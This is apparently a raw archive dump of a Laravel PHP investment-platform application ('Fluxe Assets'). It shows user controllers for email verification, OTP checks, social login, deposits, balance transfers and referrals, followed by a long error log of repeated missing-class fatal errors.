($gs->smtp_encryption == 'ssl') { $mail->SMTPSecure = PHPMailer::ENCRYPTION_SMTPS; } else { $mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS; } $mail->Port = $gs->smtp_port; $mail->CharSet = 'UTF-8'; $mail->setFrom($gs->from_email, $gs->from_name); $mail->addAddress($user->email, $user->name); $mail->addReplyTo($gs->from_email, $gs->from_name); $mail->isHTML(true); $mail->Subject = $subject; $mail->Body = $msg; $mail->send(); } catch (Exception $e) { Log::error('Welcome email failed: ' . $mail->ErrorInfo); } } else { $to = $user->email; $subject = "Welcome to Fluxe Assets"; $msg = "Hello ".$user->name."!\nYour registration successfully completed.\nThank you."; $headers = "From: ".$gs->from_name."<".$gs->from_email.">"; mail($to,$subject,$msg,$headers); } Auth::guard('web')->login($user); return redirect()->route('user.dashboard')->with('success','Email Verified Successfully'); } } else { return redirect()->back(); } } } Controllers/User/OTPController.php 0000644 00000002104 15111246743 0013210 0 ustar 00 <?php namespace App\Http\Controllers\User; use App\Classes\GoogleAuthenticator; use App\Http\Controllers\Controller; use Auth; use Illuminate\Http\Request; use Illuminate\Support\Facades\Input; use Illuminate\Support\Facades\Redirect; use Illuminate\Support\Facades\Session; use Validator; class OTPController extends Controller { public function __construct() { $this->middleware('auth'); } public function showotpForm() { return view('user.otp'); } public function otp(Request $request) { $request->validate([ 'otp' => 'required' ]); $user = auth()->user(); $googleAuth = new GoogleAuthenticator(); $otp = $request->otp; $secret = $user->go; $oneCode = $googleAuth->getCode($secret); $userOtp = $otp; if ($oneCode == $userOtp) { $user->verified = 1; $user->save(); return redirect()->route('user.dashboard'); } else { return redirect()->back()->with('error','OTP not match!'); } } } Controllers/User/SocialRegisterController.php 0000644 00000004577 15111246743 0015505 0 ustar 00 <?php namespace App\Http\Controllers\User; use App\Models\Notification; use App\Models\SocialProvider; use App\Models\Socialsetting; use App\Models\User; use App\Http\Controllers\Controller; use Auth; use Config; use Illuminate\Http\Request; use Illuminate\Support\Facades\Session; use Socialite; class SocialRegisterController extends Controller { public function __construct() { $link = Socialsetting::findOrFail(1); Config::set('services.google.client_id', $link->gclient_id); Config::set('services.google.client_secret', $link->gclient_secret); Config::set('services.google.redirect', url('/auth/google/callback')); Config::set('services.facebook.client_id', $link->fclient_id); Config::set('services.facebook.client_secret', $link->fclient_secret); $url = url('/auth/facebook/callback'); $url = preg_replace("/^http:/i", "https:", $url); Config::set('services.facebook.redirect', $url); } public function redirectToProvider($provider) { return Socialite::driver($provider)->redirect(); } public function handleProviderCallback($provider) { try { $socialUser = Socialite::driver($provider)->user(); } catch(\Exception $e) { return redirect('/'); } //check if we have logged provider $socialProvider = SocialProvider::where('provider_id',$socialUser->getId())->first(); if(!$socialProvider) { //create a new user and provider $user = new User; $user->email = $socialUser->email; $user->name = $socialUser->name; $user->photo = $socialUser->avatar_original; $user->email_verified = 'Yes'; $user->is_provider = 1; $user->affilate_code = $socialUser->name.$socialUser->email; $user->affilate_code = md5($user->affilate_code); $user->save(); $user->socialProviders()->create( ['provider_id' => $socialUser->getId(), 'provider' => $provider] ); $notification = new Notification; $notification->user_id = $user->id; $notification->save(); } else { $user = $socialProvider->user; } Auth::guard('web')->login($user); return redirect()->route('user-dashboard'); } } Controllers/User/DepositController.php 0000644 00000003467 15111246743 0014172 0 ustar 00 <?php namespace App\Http\Controllers\User; use App\Http\Controllers\Controller; use App\Models\Deposit; use App\Models\PaymentGateway; use Illuminate\Http\Request; class DepositController extends Controller { public function __construct() { $this->middleware('auth'); } public function index(Request $request){ $data['deposits'] = Deposit::whereUserId(auth()->id()) ->when($request->trx_no,function($query) use ($request){ return $query->where('deposit_number', $request->trx_no); }) ->when($request->type,function($query) use ($request){ if($request->type != 'all'){ return $query->where('method',$request->type); }else{ } }) ->orderby('id','desc')->whereUserId(auth()->id())->paginate(10); return view('user.deposit.index',$data); } public function create(){ $data['availableGatways'] = ['block.io.btc','block.io.ltc','block.io.dgc','flutterwave','authorize.net','razorpay','mollie','paytm','instamojo','stripe','paypal','mercadopago','skrill','perfectmoney','payeer']; $data['gateways'] = PaymentGateway::OrderBy('id','desc')->whereStatus(1)->get(); $data['deposits'] = Deposit::orderby('id','desc')->whereUserId(auth()->id())->limit(5)->get(); $mercado = PaymentGateway::whereKeyword('mercadopago')->first(); $mercado = $mercado->convertAutoData(); $data['mercadoKey'] = $mercado['public_key']; return view('user.deposit.create',$data); } } Controllers/User/TransferController.php 0000644 00000006275 15111246743 0014347 0 ustar 00 <?php namespace App\Http\Controllers\User; use App\Http\Controllers\Controller; use App\Models\BalanceTransfer; use App\Models\Generalsetting; use App\Models\Transaction; use App\Models\User; use Illuminate\Http\Request; use Illuminate\Support\Facades\Hash; use Illuminate\Support\Str; class TransferController extends Controller { public function __construct() { $this->middleware('auth'); } public function index(){ $data['transfers'] = BalanceTransfer::whereUserId(auth()->id())->orderBy('id','desc')->paginate(10); return view('user.transfer.index',$data); } public function store(Request $request){ $request->validate([ 'email' => 'required', 'name' => 'required', 'amount' => 'required|gt:0', 'wallet' => 'required', 'password' => 'required' ]); $user = auth()->user(); if(!Hash::check($request->password,$user->password)){ return redirect()->back()->with('unsuccess','Password does not match!'); } $amount = userBaseAmount($request->amount); if($request->wallet == 'main_balance'){ if($amount > $user->balance){ return redirect()->back()->with('unsuccess','Insufficient Main Account Balance.'); } }else{ if($amount > $user->interest_balance){ return redirect()->back()->with('unsuccess','Insufficient Interest Account Balance.'); } } $gs = Generalsetting::first(); if($request->email == $user->email){ return redirect()->back()->with('unsuccess','You can not send money yourself!!'); } if($receiver = User::where('email',$request->email)->first()){ $txnid = Str::random(4).time(); $data = new BalanceTransfer(); $data->user_id = $user->id; $data->receiver_id = $receiver->id; $data->transaction_no = $txnid; $data->cost = 0; $data->amount = $amount; $data->status = 1; $data->save(); $receiver->increment('balance',$amount); if($request->wallet == 'main_balance'){ $user->decrement('balance',$amount); }else{ $user->decrement('interest_balance',$amount); } $trans = new Transaction(); $trans->email = $user->email; $trans->amount = $amount; $trans->type = "Send Money"; $trans->profit = "minus"; $trans->txnid = $txnid; $trans->user_id = $user->id; $trans->save(); $receivertrans = new Transaction(); $receivertrans->email = $receiver->email; $receivertrans->amount = $amount; $receivertrans->type = "Receive Money"; $receivertrans->profit = "plus"; $receivertrans->txnid = $txnid; $receivertrans->user_id = $receiver->id; $receivertrans->save(); return redirect()->back()->with('success','Money Send Successfully.'); }else{ return redirect()->back()->with('unsuccess','Sender not found!'); } } } Controllers/User/ReferralController.php 0000644 00000001274 15111246743 0014317 0 ustar 00 <?php namespace App\Http\Controllers\User; use App\Http\Controllers\Controller; use Illuminate\Http\Request; use App\Models\ReferralBonus; use App\Models\User; class ReferralController extends Controller { public function __construct() { $this->middleware('auth'); } public function referred(){ $data['referreds'] = User::where('referral_id',auth()->id())->orderBy('id','desc')->paginate(20); return view('user.referral.index',$data); } public function commissions(){ $data['commissions'] = ReferralBonus::where('to_user_id',auth()->id())->orderBy('id','desc')->paginate(20); return view('user.referral.commission',$data); } } Controllers/User/error_log 0000644 00000065521 15111246743 0011722 0 ustar 00 [19-Nov-2025 21:05:17 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/SocialRegisterController.php:16 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/SocialRegisterController.php on line 16 [19-Nov-2025 21:06:08 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/TransferLogController.php:9 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/TransferLogController.php on line 9 [19-Nov-2025 21:08:17 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/TransferController.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/TransferController.php on line 14 [19-Nov-2025 21:09:15 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/MoneyRequestController.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/MoneyRequestController.php on line 14 [19-Nov-2025 21:11:23 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/NotificationController.php:10 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/NotificationController.php on line 10 [19-Nov-2025 21:12:17 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/RegisterController.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/RegisterController.php on line 28 [19-Nov-2025 21:15:22 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/ReferralController.php:10 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/ReferralController.php on line 10 [19-Nov-2025 21:17:16 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/KYCController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/KYCController.php on line 12 [19-Nov-2025 21:20:14 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/WithdrawController.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/WithdrawController.php on line 22 [19-Nov-2025 21:22:08 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/UserController.php:33 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/UserController.php on line 33 [19-Nov-2025 21:23:05 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/OTPController.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/OTPController.php on line 14 [20-Nov-2025 02:53:13 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/SocialRegisterController.php:16 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/SocialRegisterController.php on line 16 [20-Nov-2025 02:53:42 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/NotificationController.php:10 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/NotificationController.php on line 10 [20-Nov-2025 02:54:43 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/MoneyRequestController.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/MoneyRequestController.php on line 14 [20-Nov-2025 02:55:46 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/RegisterController.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/RegisterController.php on line 28 [20-Nov-2025 02:56:48 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/TransferController.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/TransferController.php on line 14 [20-Nov-2025 02:57:50 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/TransferLogController.php:9 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/TransferLogController.php on line 9 [20-Nov-2025 03:04:06 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/KYCController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/KYCController.php on line 12 [20-Nov-2025 03:10:34 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/OTPController.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/OTPController.php on line 14 [20-Nov-2025 06:40:23 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/TransferLogController.php:9 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/TransferLogController.php on line 9 [20-Nov-2025 06:43:27 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/MoneyRequestController.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/MoneyRequestController.php on line 14 [20-Nov-2025 06:44:33 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/SocialRegisterController.php:16 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/SocialRegisterController.php on line 16 [20-Nov-2025 06:46:38 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/TransferController.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/TransferController.php on line 14 [20-Nov-2025 06:48:41 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/NotificationController.php:10 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/NotificationController.php on line 10 [20-Nov-2025 06:49:45 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/RegisterController.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/RegisterController.php on line 28 [20-Nov-2025 06:50:45 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/OTPController.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/OTPController.php on line 14 [20-Nov-2025 06:51:50 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/KYCController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/KYCController.php on line 12 [20-Nov-2025 06:53:57 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/UserController.php:33 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/UserController.php on line 33 [20-Nov-2025 06:58:05 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/ReferralController.php:10 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/ReferralController.php on line 10 [20-Nov-2025 07:00:11 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/WithdrawController.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/WithdrawController.php on line 22 [20-Nov-2025 08:59:04 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/NotificationController.php:10 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/NotificationController.php on line 10 [20-Nov-2025 09:16:55 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/SocialRegisterController.php:16 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/SocialRegisterController.php on line 16 [20-Nov-2025 09:21:06 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/TransferController.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/TransferController.php on line 14 [20-Nov-2025 09:27:27 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/RegisterController.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/RegisterController.php on line 28 [20-Nov-2025 09:28:28 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/ReferralController.php:10 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/ReferralController.php on line 10 [20-Nov-2025 09:30:38 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/KYCController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/KYCController.php on line 12 [20-Nov-2025 09:31:41 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/WithdrawController.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/WithdrawController.php on line 22 [20-Nov-2025 09:34:49 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/OTPController.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/OTPController.php on line 14 [20-Nov-2025 09:38:57 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/UserController.php:33 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/UserController.php on line 33 [20-Nov-2025 10:22:20 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/RegisterController.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/RegisterController.php on line 28 [20-Nov-2025 10:23:28 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/NotificationController.php:10 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/NotificationController.php on line 10 [20-Nov-2025 10:25:38 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/TransferController.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/TransferController.php on line 14 [20-Nov-2025 10:26:38 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/SocialRegisterController.php:16 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/SocialRegisterController.php on line 16 [20-Nov-2025 10:47:40 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/UserController.php:33 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/UserController.php on line 33 [20-Nov-2025 10:49:44 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/ReferralController.php:10 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/ReferralController.php on line 10 [20-Nov-2025 10:58:13 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/OTPController.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/OTPController.php on line 14 [20-Nov-2025 11:16:34 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/SocialRegisterController.php:16 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/SocialRegisterController.php on line 16 [20-Nov-2025 11:21:53 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/TransferController.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/TransferController.php on line 14 [20-Nov-2025 11:25:02 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/NotificationController.php:10 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/NotificationController.php on line 10 [20-Nov-2025 11:28:10 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/RegisterController.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/RegisterController.php on line 28 [20-Nov-2025 11:30:21 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/ReferralController.php:10 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/ReferralController.php on line 10 [20-Nov-2025 11:42:41 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/OTPController.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/OTPController.php on line 14 [20-Nov-2025 11:45:46 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/TransferController.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/TransferController.php on line 14 [20-Nov-2025 11:46:47 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/KYCController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/KYCController.php on line 12 [20-Nov-2025 11:46:53 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/UserController.php:33 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/UserController.php on line 33 [20-Nov-2025 11:48:58 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/ReferralController.php:10 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/ReferralController.php on line 10 [20-Nov-2025 11:49:49 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/OTPController.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/OTPController.php on line 14 [20-Nov-2025 11:50:02 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/SocialRegisterController.php:16 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/SocialRegisterController.php on line 16 [20-Nov-2025 11:50:41 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/RegisterController.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/RegisterController.php on line 28 [20-Nov-2025 11:54:03 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/NotificationController.php:10 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/NotificationController.php on line 10 [20-Nov-2025 11:54:36 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/TransferLogController.php:9 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/TransferLogController.php on line 9 [20-Nov-2025 11:55:59 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/TransferController.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/TransferController.php on line 14 [20-Nov-2025 11:56:28 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/KYCController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/KYCController.php on line 12 [20-Nov-2025 12:04:12 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/TransferController.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/TransferController.php on line 14 [20-Nov-2025 13:00:20 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/TransferLogController.php:9 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/TransferLogController.php on line 9 [20-Nov-2025 13:02:01 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/TransferController.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/TransferController.php on line 14 [20-Nov-2025 13:05:12 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/RegisterController.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/RegisterController.php on line 28 [25-Nov-2025 02:32:36 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/ReferralController.php:10 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/ReferralController.php on line 10 [25-Nov-2025 02:34:13 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/NotificationController.php:10 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/NotificationController.php on line 10 [25-Nov-2025 02:36:04 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/RegisterController.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/RegisterController.php on line 28 [25-Nov-2025 02:57:59 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/KYCController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/KYCController.php on line 12 [25-Nov-2025 02:58:40 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/LoginController.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/LoginController.php on line 14 [25-Nov-2025 02:59:30 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/MessageController.php:16 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/MessageController.php on line 16 [25-Nov-2025 02:59:52 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/InvestController.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/InvestController.php on line 21 [25-Nov-2025 03:00:34 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in 